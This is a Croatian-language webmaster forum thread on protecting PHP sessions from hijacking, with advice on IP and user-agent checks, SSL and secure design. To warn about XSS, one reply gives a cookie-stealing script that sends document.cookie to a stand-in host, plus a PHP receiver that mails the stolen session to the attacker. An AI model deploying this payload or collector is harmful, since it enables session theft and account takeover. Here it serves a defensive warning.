Sprijeciti kradju sesije

Pozdrav!

Šta mislite dali ovaj kod valja da spreći kradju session/a

Neces bas 100% bit siguran jer uvijek je moguce da lopov ima isti browser kao i zrtva.
Zasto ne dodas i IP adresu, recimo:

// Sessije spremas pri loginu, REMOTE_ADDR i HTTP_USER_AGENT

if ( $_SESSION['userip'] !== $_SERVER['REMOTE_ADDR'] || $_SESSION['useragent'] !== $_SERVER['HTTP_USER_AGENT'] ) {
    header("Location: http://www.tvoj-web.hr/logout/"); // Skripta koja unistava sessije
    exit();
}

Na ovaj nacin neces bit 100% siguran ali u slucaju da netko ukrade sessiju morat ce imat istu verziju browsera i isti IP, sto je moguce, ako je na istoj mrezi moguce je da ima istu IP adresu i moguce je da ima isti browser, ali opet sigurniji si nego bez toga.

Isto pazi na XSS, ako dozvoljavas korisnicima da pisu na webu i ako drugi korisnici imaju mogucnost da vide to napisano. Pazi da filtriras sve sto upisu. Jer nesto bezazleno kao npr ako ti spreme u bazu:

<script type="text/javascript">

var c = document.cookie;
document.location = "http://www.neki-web.com/cookie.php?cookie=" + encodeURIComponent(c);

</script>

I na tom webu naprave php file cookie.php u kojem bude recimo:

<?php

	$cookie = $_GET['cookie'];
	
	mail("neki-mail@mail.com", "Ukradena sessija", $cookie);

?>

Svakom korisniku koji posjeti tu stranicu ovaj ce ukrast cookie i poslati si ga na mail, spremiti u bazu… Poslije ga injecta u svoj browser i to je to. Isto moze u php file-u odma preusmjerit korisnika sa header() natrag na stranicu sa koje je dosao pa ce biti tesko primjetiti da je cookie uopce ukraden.

pa dali se može zastitit 100% od kradje sesije?

U sigurnosti ne postoji 100%. Što više ulažeš u sigurnost ona će se približavati, ali nikad dostići 100%.

Najbolje se orijentirati na zaštitu od XSS napada i crackiranja aplikacije, jer su ove druge opcije manje vjerojatne. Dodatno otežati “hakerima” možeš postavljanjem korisničkog dijela pod SSL.

Ali ako neki majstor čuči između tebe i servera teško da ćeš uspjeti spriječiti krađu sesije.

Susok, kada postavljaš bilo kakav zaštitni, sigurnosni mehanizam, bitno je da prvo vidiš što štitiš i zašto. Kakav je rizik da će netko uopće pokušati provalu? Kakva je šteta ako se provala dogodi? Potom razmišljaš o tome koliko ćeš u zaštitu investirati.

Za početak, ove “provale” sjednica koje si vidio u članku linkanom u drugoj temi, su provale uslijed sigurnosnih rupa na strani web-preglednika, dakle klijenta. Ići krpati te rupe na strani servera znači ići krpom na zakrpu – već slijedeća verzija preglednika će imati svoje rupe i tome nikad kraja. Korisnik je taj koji preuzima rizik za izbor klijenta kojeg koristi.

Ti se u prvom redu moraš koncentrirati na sigurnosne propuste koje bi ti uveo, dakle “rupe” u tvom programu, a ne na krpanje rupa u programu web-klijenta kojeg koristi korisnik. Eke ti je gore dao dva primjera rupa koje zapravo ti sam generiraš vlastitim logičkim propustima, a koji su uvijek posljedica nedovoljno detaljnog poznavanja tehnologije koju koristiš, bilo u client-side programiranju (npr. XSS) ili u server-side programiranju (nekakvo krekiranje tvog programa).

Tu nema nekog općenitog savjeta, osim trajnog usavršavanja čitanjem i razmišljanjem.

U nastavku, ono što moraš učiniti je koncepcijski, dakle na razini dizajna, smanjiti mjesta na kojima uopće može doći do “zloupotrebe” sustava.

Primjerice, vidjet ćeš da neke web-stranice, iako si ulogiran, dakle imaš aktivnu sjednicu, prilikom pristupa do osobnih podataka traže da se još jednom “ulogiraš” i taj drugi login koriste samo tranzijetno, u svrhu prikaza i pohrane podataka u jednom koraku, bez perzistiranja kroz sjednicu.

Na drugim web-stranicama se opet investira u nimalo jeftini certifikat kako bi se između klijenta i aplikacije dignula sigurna SSL veza i spriječila - s jedne strane - krađa prisluškivanjem, ali s druge strane i zapriječilo web-preklednik da po završetku sesija ostavlja na disku računala podatke u čitljivom obliku (npr. history SSL-veze se ne pohranjuje).

Znači, podatke i način na koji tvoja aplikacija njima barata trebaš organiziriati i planirati još tijekom faze dizajna sustava. Na primjer, planiraš raspodjelu podataka i mjesta na kojima se njima pristupa na “manje rizične” i “više rizične” domene i omogućiš si da pristup u više rizični prostor učiniš sigurnijim i po cijenu toga da bude znatno manje user-friendly.

Svakako loš pristup stvarima je da “nagađaš” i “nabadaš” funkcije koje ne poznaješ i ne razumiješ, jer sigurnost je iznimno sklizak teren koji zahtijeva izvrsno poznavanje detalja, a onda i puno pažljivog promišljanja oko to što misliš da si isprogramirao, a što si stvarno isprogramirao.

[quote=“eke777”]
Najbolje se orijentirati na zaštitu od XSS napada i crackiranja aplikacije, jer su ove druge opcije manje vjerojatne. Dodatno otežati “hakerima” možeš postavljanjem korisničkog dijela pod SSL.
sesije.[/quote]

Samo da se nadovežem na ovo.

Što se XSS napada tiće, ja koristim samo brojeve za varijable koje se povlaće sa linka i skirptu koja miće sve ostale znakove osim brojeva, pa mislim da bi takav naćin bio dosta siguran…


Copyright © 2020 WM Forum - AboutContact - Sponsored by: Mydataknox & Webmaster.Ninja